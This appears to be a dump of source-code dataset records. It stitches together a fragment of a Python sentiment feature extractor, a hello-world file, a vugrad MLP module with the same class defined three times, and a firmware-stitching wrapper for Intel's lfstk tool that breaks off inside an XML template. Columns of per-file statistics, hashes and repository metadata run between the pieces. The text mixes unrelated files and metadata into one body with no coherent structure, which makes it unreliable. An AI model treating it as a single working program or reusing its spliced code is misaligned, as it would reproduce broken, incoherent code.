features_list.append( sum_ratio_of_positive_adjectives_and_bigrams_with_adjectives(bow_sentences)) features_list.append( sum_ratio_of_negative_adjectives_and_bigrams_with_adjectives(bow_sentences)) features_list.append( sum_ratio_of_positive_adverbs_and_bigrams_with_adverbs(bow_sentences)) features_list.append( sum_ratio_of_negative_adverbs_and_bigrams_with_adverbs(bow_sentences)) features_list.append( sum_ratio_of_positive_verbs_and_bigrams_with_verbs(bow_sentences)) features_list.append( sum_ratio_of_negative_verbs_and_bigrams_with_verbs(bow_sentences)) if general_unigrams_and_bigrams: features_list.append( positive_unigrams_and_bigrams_sum(bow_sentences)) features_list.append( negative_unigrams_and_bigrams_sum(bow_sentences)) if general_unigrams_and_bigrams_ratio: features_list.append( sum_ratio_of_positive_unigrams_and_bigrams(bow_sentences)) features_list.append( sum_ratio_of_negative_unigrams_and_bigrams(bow_sentences)) features_list.append( positive_to_negative_ratio_of_unigrams_and_bigrams_sum(bow_sentences)) if unigrams_and_bigrams_trigram: features_list.append( positive_unigrams_bigrams_and_trigrams_sum(bow_sentences)) features_list.append( negative_unigrams_bigrams_and_trigrams_sum(bow_sentences)) if unigrams_and_bigrams_trigram_ratio: features_list.append( sum_ratio_of_positive_unigrams_bigrams_and_trigrams(bow_sentences)) features_list.append( sum_ratio_of_negative_unigrams_bigrams_and_trigrams(bow_sentences)) features_list.append( positive_to_negative_ratio_of_unigrams_bigrams_and_trigrams_sum(bow_sentences)) return features_list
50.545455
219
0.732321
2,943
22,796
5.100578
0.024125
0.130304
0.076744
0.075145
0.955699
0.925721
0.906202
0.858371
0.815269
0.732063
0
0.005169
0.193718
22,796
450
220
50.657778
0.811534
0.000351
0
0.46789
0
0
0.090961
0.070797
0
0
0
0
0
0
null
null
0
0.012232
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
629a22ba9bb7f471972c507edddaa6cc7081a6d2
39
py
Python
hello.py
spheroid/pylambs
2f1f8058ced978ebd0a957e641f4d722c72b410d
[ "MIT" ]
1
2021-02-11T00:21:09.000Z
2021-02-11T00:21:09.000Z
hello.py
spheroid/pylambs
2f1f8058ced978ebd0a957e641f4d722c72b410d
[ "MIT" ]
null
null
null
hello.py
spheroid/pylambs
2f1f8058ced978ebd0a957e641f4d722c72b410d
[ "MIT" ]
null
null
null
def message(): return "Hello World"
19.5
24
0.666667
5
39
5.2
1
0
0
0
0
0
0
0
0
0
0
0
0.205128
39
2
24
19.5
0.83871
0
0
0
0
0
0.275
0
0
0
0
0
0
1
0.5
true
0
0
0.5
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
1
0
0
7
62cf3318fb48a0e46328d6c84c557b169d735cfd
9,429
py
Python
experiments/Q9_classes.py
SPeek94/vugrad
3f23d62994d13eef1f549c342091371f21f444ce
[ "MIT" ]
null
null
null
experiments/Q9_classes.py
SPeek94/vugrad
3f23d62994d13eef1f549c342091371f21f444ce
[ "MIT" ]
null
null
null
experiments/Q9_classes.py
SPeek94/vugrad
3f23d62994d13eef1f549c342091371f21f444ce
[ "MIT" ]
null
null
null
import vugrad as vg class MLP(vg.Module): """ A simple MLP with one hidden layer, and a sigmoid non-linearity on the hidden layer and a softmax on the output. """ def __init__(self, input_size, output_size, hidden_mult=4): """ :param input_size: :param output_size: :param hidden_mult: Multiplier that indicates how many times bigger the hidden layer is than the input layer. """ super().__init__() hidden_size = hidden_mult * input_size # -- There is no common wisdom on how big the hidden size should be, apart from the idea # that it should be strictly _bigger_ than the input if at all possible. # Inits: glorot (default), he self.layer1 = vg.Linear(input_size, hidden_size, init="he") self.layer2 = vg.Linear(hidden_size, output_size, init="glorot") # -- The linear layer (without activation) is implemented in vugrad. We simply instantiate these modules, and # add them to our network. def forward(self, input): assert len(input.size()) == 2 # first layer hidden = self.layer1(input) # non-linearity # hidden = vg.sigmoid(hidden) # -- We've called a utility function here, to mimin how this is usually done in pytorch. We could also do: # hidden = Sigmoid.do_forward(hidden) # non-linearity hidden = vg.relu(hidden) # -- We've called a utility function here, to mimin how this is usually done in pytorch. We could also do: # hidden = Sigmoid.do_forward(hidden) # second layer output = self.layer2(hidden) # softmax activation output = vg.logsoftmax(output) # -- the logsoftmax computes the _logarithm_ of the probabilities produced by softmax. This makes the computation # of the CE loss more stable when the probabilities get close to 0 (remember that the CE loss is the logarithm # of these probabilities). It needs to be implemented in a specific way. See the source for details. return output def parameters(self): return self.layer1.parameters() + self.layer2.parameters() class MLP_3layers(vg.Module): """ A simple MLP with one hidden layer, and a sigmoid non-linearity on the hidden layer and a softmax on the output. """ def __init__(self, input_size, output_size, hidden_mult=4): """ :param input_size: :param output_size: :param hidden_mult: Multiplier that indicates how many times bigger the hidden layer is than the input layer. """ super().__init__() hidden_size = hidden_mult * input_size hidden_size2 = hidden_size/2 # -- There is no common wisdom on how big the hidden size should be, apart from the idea # that it should be strictly _bigger_ than the input if at all possible. # Inits: glorot (default), he self.layer1 = vg.Linear(input_size, hidden_size, init="he") self.layer2 = vg.Linear(hidden_size, hidden_size2, init="he") self.layer3 = vg.Linear(hidden_size2, output_size, init="glorot") # -- The linear layer (without activation) is implemented in vugrad. We simply instantiate these modules, and # add them to our network. def forward(self, input): assert len(input.size()) == 2 # first layer hidden = self.layer1(input) # non-linearity # hidden = vg.sigmoid(hidden) # -- We've called a utility function here, to mimin how this is usually done in pytorch. We could also do: # hidden = Sigmoid.do_forward(hidden) # non-linearity hidden = vg.relu(hidden) # -- We've called a utility function here, to mimin how this is usually done in pytorch. We could also do: # hidden = Sigmoid.do_forward(hidden) # second layer hidden = self.layer2(hidden) # softmax activation hidden = vg.relu(hidden) # -- the logsoftmax computes the _logarithm_ of the probabilities produced by softmax. This makes the computation # of the CE loss more stable when the probabilities get close to 0 (remember that the CE loss is the logarithm # of these probabilities). It needs to be implemented in a specific way. See the source for details. # second layer output = self.layer3(hidden) # softmax activation output = vg.logsoftmax(output) # -- the logsoftmax computes the _logarithm_ of the probabilities produced by softmax. This makes the computation # of the CE loss more stable when the probabilities get close to 0 (remember that the CE loss is the logarithm # of these probabilities). It needs to be implemented in a specific way. See the source for details. return output def parameters(self): return self.layer1.parameters() + self.layer2.parameters() + self.layer3.parameters() class MLP(vg.Module): """ A simple MLP with one hidden layer, and a sigmoid non-linearity on the hidden layer and a softmax on the output. """ def __init__(self, input_size, output_size, hidden_mult=4): """ :param input_size: :param output_size: :param hidden_mult: Multiplier that indicates how many times bigger the hidden layer is than the input layer. """ super().__init__() hidden_size = hidden_mult * input_size # -- There is no common wisdom on how big the hidden size should be, apart from the idea # that it should be strictly _bigger_ than the input if at all possible. # Inits: glorot (default), he self.layer1 = vg.Linear(input_size, hidden_size, init="he") self.layer2 = vg.Linear(hidden_size, output_size, init="glorot") # -- The linear layer (without activation) is implemented in vugrad. We simply instantiate these modules, and # add them to our network. def forward(self, input): assert len(input.size()) == 2 # first layer hidden = self.layer1(input) # non-linearity # hidden = vg.sigmoid(hidden) # -- We've called a utility function here, to mimin how this is usually done in pytorch. We could also do: # hidden = Sigmoid.do_forward(hidden) # non-linearity hidden = vg.relu(hidden) # -- We've called a utility function here, to mimin how this is usually done in pytorch. We could also do: # hidden = Sigmoid.do_forward(hidden) # second layer output = self.layer2(hidden) # softmax activation output = vg.logsoftmax(output) # -- the logsoftmax computes the _logarithm_ of the probabilities produced by softmax. This makes the computation # of the CE loss more stable when the probabilities get close to 0 (remember that the CE loss is the logarithm # of these probabilities). It needs to be implemented in a specific way. See the source for details. return output def parameters(self): return self.layer1.parameters() + self.layer2.parameters() class MLP(vg.Module): """ A simple MLP with one hidden layer, and a sigmoid non-linearity on the hidden layer and a softmax on the output. """ def __init__(self, input_size, output_size, hidden_mult=4): """ :param input_size: :param output_size: :param hidden_mult: Multiplier that indicates how many times bigger the hidden layer is than the input layer. """ super().__init__() hidden_size = hidden_mult * input_size # -- There is no common wisdom on how big the hidden size should be, apart from the idea # that it should be strictly _bigger_ than the input if at all possible. # Inits: glorot (default), he self.layer1 = vg.Linear(input_size, hidden_size, init="he") self.layer2 = vg.Linear(hidden_size, output_size, init="glorot") # -- The linear layer (without activation) is implemented in vugrad. We simply instantiate these modules, and # add them to our network. def forward(self, input): assert len(input.size()) == 2 # first layer hidden = self.layer1(input) # non-linearity # hidden = vg.sigmoid(hidden) # -- We've called a utility function here, to mimin how this is usually done in pytorch. We could also do: # hidden = Sigmoid.do_forward(hidden) # non-linearity hidden = vg.relu(hidden) # -- We've called a utility function here, to mimin how this is usually done in pytorch. We could also do: # hidden = Sigmoid.do_forward(hidden) # second layer output = self.layer2(hidden) # softmax activation output = vg.logsoftmax(output) # -- the logsoftmax computes the _logarithm_ of the probabilities produced by softmax. This makes the computation # of the CE loss more stable when the probabilities get close to 0 (remember that the CE loss is the logarithm # of these probabilities). It needs to be implemented in a specific way. See the source for details. return output def parameters(self): return self.layer1.parameters() + self.layer2.parameters()
39.451883
121
0.648001
1,272
9,429
4.71305
0.099057
0.030025
0.023353
0.020017
0.974646
0.969141
0.969141
0.969141
0.969141
0.969141
0
0.006606
0.277548
9,429
239
122
39.451883
0.873459
0.589882
0
0.876923
0
0
0.009553
0
0
0
0
0
0.061538
1
0.184615
false
0
0.015385
0.061538
0.384615
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3da9366886ac9d33c6ccc8015b167ed8dc4a5292
421,152
py
Python
libintelprov/releasetools/lfstk_wrapper.py
tank0412/aosp_device_asus_a500cg
20396e60f578ba05c7dc95a8cf1ce1c72e2f8de1
[ "Apache-2.0" ]
1
2021-11-21T21:47:02.000Z
2021-11-21T21:47:02.000Z
libintelprov/releasetools/lfstk_wrapper.py
tank0412/aosp_device_asus_a500cg
20396e60f578ba05c7dc95a8cf1ce1c72e2f8de1
[ "Apache-2.0" ]
null
null
null
libintelprov/releasetools/lfstk_wrapper.py
tank0412/aosp_device_asus_a500cg
20396e60f578ba05c7dc95a8cf1ce1c72e2f8de1
[ "Apache-2.0" ]
6
2016-03-01T16:25:22.000Z
2022-03-02T03:54:14.000Z
#!/usr/bin/env python # Copyright (C) 2011 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import getopt # would rather use argparse, but that depends on python 2.7 import sys import os import math import tempfile import subprocess from string import Template good_lfstk_versions = ["1.8.6"] def usage(): print """ Usage: lfstk_wrapper.py <options> images... -h | --help Print this message -g | --stepping [C0|B0] Penwell stepping (required) -t | --tmpdir [path] Directory for temp files (default /tmp) -s | --signed Sign the images (default unsigned) -k | --keydir [path] Directory for signing key files (required) -o | --output [filename] Output filename for stitched image (required) -l | --lfstk [path] Path to lfstk executable (default look in PATH) OS images properly end with .bin 2nd Stage firmware images end with .fv Other image types not yet supported. Images are written in the order they are provided on the command line """ def main(): try: opts, args = getopt.getopt(sys.argv[1:], "hg:t:sk:o:l:", ["help", "stepping=", "tmpdir=", "signed", "keydir=", "output=", "lfstk="]) except getopt.GetoptError, err: print str(err) usage() sys.exit(1) signed = False outfile = None keydir = None tmpdir = "/tmp" stepping = None images = args lfstk_path = "lfstk" for o, a in opts: if o in ("-h", "--help"): usage() sys.exit() elif o in ("-g", "--stepping"): stepping = a elif o in ("-t", "--tmpdir"): tmpdir = a elif o in ("-s", "--signed"): signed = True elif o in ("-k", "--keydir"): keydir = a elif o in ("-o", "--output"): outfile = a elif o in ("-l", "--lfstk"): lfstk_path = a else: assert False, "unhandled option" # Sanity check what was passed in bad_params = False if not stepping: print >>sys.stderr, "You must specify board stepping with --stepping!" bad_params = True if not keydir: print >>sys.stderr, "You must specify a valid signing key files directory with --keydir" bad_params = True if not os.path.isdir(keydir): print >>sys.stderr, "Invalid key files directory:", keydir bad_params = True if not outfile: print >>sys.stderr, "You must specify an output file with --output" bad_params = True if not images: print >>sys.stderr, "You must specify at least one image file" bad_params = True for image in images: if not os.path.isfile(image): print >>sys.stderr, "Bad image filename", image bad_params = True if bad_params: sys.exit(1) ret = stitch_images(images, signed, stepping, keydir, outfile, lfstk_path, tmpdir) sys.exit(ret) def stitch_images(images, signed, stepping, keydir, outfile, lfstk_path="lfstk", tmpdir="/tmp"): # Make sure we're using a good LFSTK version if get_lfstk_version(lfstk_path) not in good_lfstk_versions: print >>sys.stderr, "You have an unsupported version of LFSTK. Please use one of: " + `good_lfstk_versions` return 1 # LFSTK doesn't know about D0, but C0 works fine for those boards if stepping not in ["B0","C0"]: stepping = "C0" penwell_xml, stitch_xml, override_txt = build_config_files(images, signed, stepping, keydir, outfile, tmpdir) if not run_lfstk(lfstk_path, penwell_xml, stitch_xml, override_txt): print >>sys.stderr, "LFSTK invocation FAILED!" return 2 return 0 def write_tmp_file(file_suffix, tmpdir, body): # Automatically deleted on exit or close f = tempfile.NamedTemporaryFile(suffix=file_suffix, dir=tmpdir) #f = open(tmpdir+"/"+file_suffix, "wb") # uncomment to keep temp files f.write(body) f.flush() return f def build_config_files(images, is_signed, stepping, key_dir, output_filename, tmpdir): penwell_xml = write_tmp_file("penwell.xml", tmpdir, get_penwell_xml(images, is_signed, stepping)) stitch_xml = write_tmp_file("stitch.xml", tmpdir, get_stitch_config(stepping)) override_txt = write_tmp_file("override.txt", tmpdir, get_override(stepping, key_dir, output_filename)) return (penwell_xml, stitch_xml, override_txt) def get_lfstk_version(lfstk_path): try: output = subprocess.Popen([lfstk_path,"-V"], stdout=subprocess.PIPE).communicate()[0] except Exception, e: raise Exception("Bad or missing LFSTK binary") return output.strip().split()[1] def run_lfstk(lfstk_path, penwell_xml, stitch_xml, override_txt): retval = subprocess.call([ lfstk_path, '-l', stitch_xml.name, '-k', penwell_xml.name, '-o', override_txt.name]) print penwell_xml.close() stitch_xml.close() override_txt.close() return retval == 0 # substitute key_dir C0_keys_lines = """ Public Key0 = $key_dir/C0_0_public.key Private Key0 = $key_dir/C0_0_private.key Public Key1 = $key_dir/CRAK_1_public.key Private Key1 = $key_dir/C0_234_private.key Public Key2 = $key_dir/C0_234_public.key Private Key2 = $key_dir/C0_234_private.key Public Key3 = $key_dir/C0_234_public.key Private Key3 = $key_dir/C0_234_private.key Public Key4 = $key_dir/C0_234_public.key Private Key4 = $key_dir/C0_234_private.key """ # substitute key_dir B0_keys_lines = """ Public Key0 = $key_dir/empty.key Private Key0 = $key_dir/empty.key Public Key1 = $key_dir/empty.key Private Key1 = $key_dir/empty.key Public Key2 = $key_dir/public_primary_n2.0.3.key Private Key2 = $key_dir/private_primary_d2.0.3.key Public Key3 = $key_dir/public_primary_n2.0.3.key Private Key3 = $key_dir/private_primary_d2.0.3.key Public Key4 = $key_dir/public_primary_n2.0.3.key Private Key4 = $key_dir/private_primary_d2.0.3.key """ key_lines_dict = { "B0" : B0_keys_lines, "C0" : C0_keys_lines } # substitute keys_lines, output_filename override_template = """ ' Penwell C0 Example Overide file, use the -G option to stitch for C0 CRAK ' This file overides settings in the stitching.xml file. '-------- Settings Section ImageType = OSUSB 'ImageName is the output filename ImageName = $output_filename ' '-------- Files-to-Overide Section SCU uCode = ./FW_Components/SCURuntime_C0.02.bin Punit uCode = ./FW_Components/PNWMicrocode-mc0-v2.07-11ww18a.bin x86 FW Boot = ./FW_Components/IA32FW_v00.3A.bin Spectra-FTL = ./FW_Components/IA32FWSupp_v00.3A.bin Validation Hooks = ./FW_Components/ValidationHooks_release_v00.4C_PNW_B0C0.bin '-------- These are required if SignDnX is invoked 'DnxFile_ToSign = ./dnx_file.bin 'DnxFile_Signed = ./signed_dnx_output_file.bin '-------- Penwell C0 Required Keys: Key selection is based on SMIP entries '-------- Index reference '0: SMIP, primary chaabi fw '1: SCU + Punit '2: IA fw, chaabi ext fw, OS '3: Open (ia fw, chaabi ext fw, OS) '4: Open (ia fw, chaabi ext fw, OS) '-------- $key_lines '------- Signed FW Inputs to generate final IFWI : -G Intel Signed FW = ./FW_Components/ScuPunit_Signed.bin 'SIGNED_MIP_BIN = ./Signed_B0_MIP.bin ' If there is no patch,comment out SIGNED_PATCH_BIN ' If no Parameter block, comment out Patch_Parameter. 'SIGNED_PATCH_BIN = ./Signed_C0_Patch2.bin 'Patch_Parameter = ./patch_keyparam.bin '------- Unsigned Outputs (to be sent to signing server) : -M, -P MIP_BIN = ./output-files/MIP.bin ' Patching Related ' UPATCH_BIN is the raw SCU ROM patch input to -P UPATCH_BIN = ./unsigned_scu_patch.bin ' UPATCH_OUT is the unsigned Patch with patch header and ' param block (output of -P); this is sent to the server UPATCH_OUT = ./output-files/unsigned_patch.bin '------- Security Firmware (Optional, comment out if not included in IFWI) ICache_Image = ./FW_Components/Signed_iCache_C0_v00800.bin Resident_Image = ./FW_Components/Signed_Resident_C0_v00800.bin Extended_FW = ./FW_Components/Signed_extFW_C0_v00830.bin '-------- end of Files-to-Overide Section ' End of file """ def get_override(stepping, key_dir, output_filename): sub_dict = { "stepping" : stepping, "key_dir" : key_dir, "output_filename" : output_filename } sub_dict["key_lines"] = Template(key_lines_dict[stepping]).substitute(sub_dict) return Template(override_template).substitute(sub_dict) # substitute stepping stitch_config_xml_template = """<?xml version="1.0" encoding="utf-8"?> <MTKAutoStitchConfiguration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <Platform validValues="MSTN,MFDA0,MFDB0,MFDC0"> <Value>MFD$stepping</Value> </Platform> <Path> <Name>Primary Public Key</Name> <Value>./sample-image-files/PublicKey.key</Value> </Path> <Path> <Name>Primary Private Key</Name> <Value>./sample-image-files/PrivateKey.key</Value> </Path> <Path> <Name>OS Public Key</Name> <Value>./sample-image-files/PublicKey.key</Value> </Path> <Path> <Name>OS Private Key</Name> <Value>./sample-image-files/PrivateKey.key</Value> </Path> <Path> <Name>SCU uCode</Name> <Value>./sample-image-files/SCU UCode.bin</Value> </Path> <Path> <Name>Punit uCode</Name> <Value>./sample-image-files/P-Unit.bin</Value> </Path> <Path> <Name>x86 FW Boot</Name> <Value>./sample-image-files/x86.bin</Value> </Path> <Path> <Name>Spectra-FTL</Name> <Value>./sample-image-files/SpectraFTL.bin</Value> </Path> <Path> <Name>Validation Hooks</Name> <Value>./sample-image-files/ValidationHooks.bin</Value> </Path> <ImageType validValues="FWUSB,FWSPI,FWNAND,FWSLE,OSUSB,OSSPI,OSNAND,OSSLE"> <Value>OSUSB</Value> </ImageType> <ImageName> <Value>./PA0_fwusb.bin</Value> </ImageName> </MTKAutoStitchConfiguration> """ def get_stitch_config(stepping): return Template(stitch_config_xml_template).substitute({"stepping":stepping}) # substitute attributes signed image_size filename dest_ptr handoff_ptr src_ptr os_image_xml_template = """<os_image> <minor_revision>0</minor_revision> <major_revision>0</major_revision> <source_pointer>$src_ptr</source_pointer> <source_pointer_usb>$src_ptr</source_pointer_usb> <source_pointer_nand>34</source_pointer_nand> <destination_pointer>$dest_ptr</destination_pointer> <handoff_pointer>$handoff_ptr</handoff_pointer> <image_filepath>$filename</image_filepath> <image_size>$image_size</image_size> <intel_reserved>0</intel_reserved> <image_attributes>$attributes</image_attributes> <is_image_signed>$signed</is_image_signed> <is_mtk_processed>$signed</is_mtk_processed> <is_partition>0</is_partition> <partition_status>0</partition_status> <partition_type>0</partition_type> </os_image> """ attributes_dict = { "bin" : (0, 1), "fv" : (8, 9), "img" : (None, 3), # Filesystem image, always unsigned } def get_one_os_image_xml(filename, is_signed, offset): filesize_sectors = int(math.ceil(os.path.getsize(filename) / 512.0)) extension = filename.rsplit(".", 1)[1].lower() is_os = (extension == "bin") if (extension == "img"): is_signed = False if is_signed: attr = attributes_dict[extension][0] else: attr = attributes_dict[extension][1] sub_dict = { "signed" : "1" if is_signed else "0", "image_size" : str(filesize_sectors + 1) if is_signed else filesize_sectors, "filename" : filename, "attributes" : str(attr), "dest_ptr" : str(0x01100000) if is_os else str(0), "handoff_ptr" : str(0x01101000) if is_os else str(0), "src_ptr" : str(offset + 1) } return (offset + filesize_sectors, Template(os_image_xml_template).substitute(sub_dict)) def get_os_image_xml(images, is_signed): offset = 0 output_xml = "" for imagefile in images: offset, xml_chunk = get_one_os_image_xml(imagefile, is_signed, offset) output_xml = output_xml + xml_chunk return output_xml # substitute stepping osimage_lines num_images penwell_xml_template = """<?xml version="1.0" encoding="utf-8"?> <platform PlatformName="penwell" UMGFWTKVersion="2.2.7" Step="$stepping" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="Medfield_B0_Schema.xsd"> <Panel header="SMIP" title="Signed MIP" start_offset="0000" end_offset="000B" /> <Panel header="SMIP" title="Misc SMIP Fields" start_offset="000C" end_offset="001B" /> <Panel header="SMIP" title="ISPV" start_offset="001C" end_offset="001C" class_type="UMGFWTK.Modules.Isps.IspsViewer" /> <Panel header="SMIP" title="MSIC Registers" start_offset="002C" end_offset="002F" /> <Panel header="SMIP" title="MSIC Charger Registers" start_offset="0030" end_offset="003F" /> <Panel header="SMIP" title="MSIC VR Overrides" start_offset="0040" end_offset="0043" /> <Panel header="SMIP" title="Validation Flags Register" start_offset="0044" end_offset="0047" /> <Panel header="SMIP" title="FHOB" start_offset="0048" end_offset="0057" /> <Panel header="SMIP" title="Voltage Rail Delay Table" start_offset="0058" end_offset="0077" /> <Panel header="SMIP" title="Debug Profile Masks" start_offset="0078" end_offset="0097" /> <Panel header="SMIP" title="IMR Registers" start_offset="0098" end_offset="0117" /> <Panel header="SMIP" title="GCSB - Penwell GPIO Configuration Set Bits" start_offset="0118" end_offset="015F" /> <Panel header="SMIP" title="GCCB - Penwell GPIO Configuration Clear Bits" start_offset="0160" end_offset="01A7" /> <Panel header="SMIP" title="MSIC VR Registers" start_offset="01A8" end_offset="01C7" /> <Panel header="SMIP" title="Received Delays" start_offset="01C8" end_offset="01D3" /> <Panel header="SMIP" title="GP Pin Programming Header" start_offset="01D4" end_offset="0295" /> <Panel header="SMIP" title="Intel Reserved 0x0296" start_offset="0296" end_offset="029B" /> <Panel header="SMIP" title="Key Index for IA Hash Verification" start_offset="029C" end_offset="029F" /> <Panel header="SMIP" title="USB Descriptor Overrides" start_offset="02A0" end_offset="02BF" /> <Panel header="SMIP" title="IO Slew Rates Initialized in FLIS" start_offset="02C0" end_offset="02CB" /> <Panel header="SMIP" title="Intel Reserved 0x02CC" start_offset="02CC" end_offset="02CF" /> <Panel header="SMIP" title="Security FW Sizes" start_offset="02D0" end_offset="02DF" /> <Panel header="SMIP" title="RTC Config Register" start_offset="02E0" end_offset="02E3" /> <Panel header="SMIP" title="Battery Settings" start_offset="02E4" end_offset="02E7" /> <Panel header="SMIP" title="VAUDA Configuration for MSIC Rails" start_offset="02E8" end_offset="02EB" /> <Panel header="SMIP" title="USB Product Name" start_offset="02EC" end_offset="02F3" /> <Panel header="SMIP" title="USB Product Manufacturer" start_offset="02F4" end_offset="02FB" /> <Panel header="SMIP" title="USB Product Serial" start_offset="02FC" end_offset="030B" /> <Panel header="SMIP" title="PTI Field" start_offset="030C" end_offset="030F" /> <Panel header="SMIP" title="Intel Reserved 0x0310" start_offset="0310" end_offset="0313" /> <Panel header="SMIP" title="SBCT Supportted Battery Characteristics Table 1" start_offset="0314" end_offset="0326" /> <Panel header="SMIP" title="Battery 1 Header" start_offset="0327" end_offset="0331" /> <Panel header="SMIP" title="Battery 1 Temp Range 4" start_offset="0332" end_offset="033E" /> <Panel header="SMIP" title="Battery 1 Temp Range 3" start_offset="033F" end_offset="034B" /> <Panel header="SMIP" title="Battery 1 Temp Range 2" start_offset="034C" end_offset="0358" /> <Panel header="SMIP" title="Battery 1 Temp Range 1" start_offset="0359" end_offset="0367" /> <Panel header="SMIP" title="Battery 2 Header" start_offset="0368" end_offset="0372" /> <Panel header="SMIP" title="Battery 2 Temp Range 4" start_offset="0373" end_offset="037F" /> <Panel header="SMIP" title="Battery 2 Temp Range 3" start_offset="0380" end_offset="038C" /> <Panel header="SMIP" title="Battery 2 Temp Range 2" start_offset="038D" end_offset="0399" /> <Panel header="SMIP" title="Battery 2 Temp Range 1" start_offset="039A" end_offset="03A8" /> <Panel header="SMIP" title="Battery 3 Header" start_offset="03A9" end_offset="03B3" /> <Panel header="SMIP" title="Battery 3 Temp Range 4" start_offset="03B4" end_offset="03C0" /> <Panel header="SMIP" title="Battery 3 Temp Range 3" start_offset="03C1" end_offset="03CD" /> <Panel header="SMIP" title="Battery 3 Temp Range 2" start_offset="03CE" end_offset="03DA" /> <Panel header="SMIP" title="Battery 3 Temp Range 1" start_offset="03DB" end_offset="03E9" /> <Panel header="SMIP" title="Battery 4 Header" start_offset="03EA" end_offset="03F4" /> <Panel header="SMIP" title="Battery 4 Temp Range 4" start_offset="03F5" end_offset="0401" /> <Panel header="SMIP" title="Battery 4 Temp Range 3" start_offset="0402" end_offset="040E" /> <Panel header="SMIP" title="Battery 4 Temp Range 2" start_offset="040F" end_offset="041B" /> <Panel header="SMIP" title="Battery 4 Temp Range 1" start_offset="041C" end_offset="042A" /> <Panel header="SMIP" title="Battery 5 Header" start_offset="042B" end_offset="0435" /> <Panel header="SMIP" title="Battery 5 Temp Range 4" start_offset="0436" end_offset="0442" /> <Panel header="SMIP" title="Battery 5 Temp Range 3" start_offset="0443" end_offset="044F" /> <Panel header="SMIP" title="Battery 5 Temp Range 2" start_offset="0450" end_offset="045C" /> <Panel header="SMIP" title="Battery 5 Temp Range 1" start_offset="045D" end_offset="046B" /> <Panel header="SMIP" title="BCU" start_offset="046C" end_offset="047F" /> <Panel header="SMIP" title="Public Security Key 0" start_offset="0800" end_offset="08FF" class_type="UMGFWTK.OSSecurityKeyViewer" /> <Panel header="SMIP" title="Public Security Key 1" start_offset="0900" end_offset="09FF" class_type="UMGFWTK.OSSecurityKeyViewer" /> <Panel header="SMIP" title="Public Security Key 2" start_offset="0A00" end_offset="0AFF" class_type="UMGFWTK.OSSecurityKeyViewer" /> <Panel header="SMIP" title="Public Security Key 3" start_offset="0B00" end_offset="0BFF" class_type="UMGFWTK.OSSecurityKeyViewer" /> <Panel header="SMIP" title="Public Security Key 4" start_offset="0C00" end_offset="0CFF" class_type="UMGFWTK.OSSecurityKeyViewer" /> <Panel header="SMIP" title="Reserved" start_offset="0D00" end_offset="FE00" /> <Panel header="UMIP" title="Unsigned MIP" start_offset="0000" end_offset="0007" /> <Panel header="UMIP" title="Calculated CheckSum Table" start_offset="0008" end_offset="01FF" /> <Panel header="UMIP" title="Intel Reserved 0x200" start_offset="0200" end_offset="03FF" /> <Panel header="UMIP" title="Software Revocation Table" start_offset="0400" end_offset="0407" /> <Panel header="UMIP" title="Intel Reserved 0x408" start_offset="0408" end_offset="04FF" /> <Panel header="UMIP" title="Minimum Versions" start_offset="0500" end_offset="050B" /> <Panel header="UMIP" title="Intel Reserved 0x050C" start_offset="050C" end_offset="060B" /> <Panel header="UMIP" title="PTI Hooks" start_offset="060C" end_offset="064B" /> <Panel header="UMIP" title="Reserved 0x64C" start_offset="064C" end_offset="07FF" /> <Panel header="UMIP" title="Energy Management Header" start_offset="0800" end_offset="0817" /> <Panel header="UMIP" title="Theoretical Characteristics of Battery Fuel Gauge " start_offset="0818" end_offset="0894" /> <Panel header="UMIP" title="Fuel Gauge Table Config" start_offset="0895" end_offset="0896" /> <Panel header="UMIP" title="Fuel Gauge Table (Bat 1) Revision" start_offset="0897" end_offset="0898" /> <Panel header="UMIP" title="Fuel Gauge Table (Bat 1) Data" start_offset="0899" end_offset="08A8" /> <Panel header="UMIP" title="Fuel Gauge Table (Bat 2) Revision" start_offset="0927" end_offset="0928" /> <Panel header="UMIP" title="Fuel Gauge Table (Bat 2) Data" start_offset="0929" end_offset="0938" /> <Panel header="UMIP" title="Fuel Gauge Table (Bat 3) Revision" start_offset="09B7" end_offset="09B8" /> <Panel header="UMIP" title="Fuel Gauge Table (Bat 3) Data" start_offset="09B9" end_offset="09C8" /> <Panel header="UMIP" title="Fuel Gauge Table (Bat 4) Revision" start_offset="0A47" end_offset="0A48" /> <Panel header="UMIP" title="Fuel Gauge Table (Bat 4) Data" start_offset="0A49" end_offset="0A58" /> <Panel header="UMIP" title="Fuel Gauge Table (Bat 5) Revision" start_offset="0AD7" end_offset="0AD8" /> <Panel header="UMIP" title="Fuel Gauge Table (Bat 5) Data" start_offset="0AD9" end_offset="0AE8" /> <Panel header="UMIP" title="Intel Reserved 0xC00" start_offset="0C00" end_offset="3FFF" /> <Panel header="UMIP" title="Intel Security Firmware" start_offset="6000" end_offset="7FFF" /> <Panel header="UMIP" title="OEM Security Firmware" start_offset="8000" end_offset="FFFF" /> <Panel header="FIP" title="Firmware Image Profile Header" start_offset="0000" end_offset="008F" /> <!-- SMIP --> <header title="Signed Master Image Profile (SMIP) Header"> <hdr_node name="Signature" byte_cnt="04" offset="0000" readonly="true"> <data>SMIP</data> </hdr_node> <hdr_node name="Header Size" byte_cnt="02" offset="0004" readonly="true"> <data>3F80</data> </hdr_node> <hdr_node name="Header Revision" byte_cnt="01" offset="0006"> <data>03</data> </hdr_node> <hdr_node name="Header Checksum" byte_cnt="01" offset="0007" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="MBIS" byte_cnt="04" offset="0008"> <data>00000000</data> </hdr_node> <!-- END SMIP --> <!-- Begin Misc SMIP Fields --> <hdr_node name="System Memory Geometry Profile" byte_cnt="04" 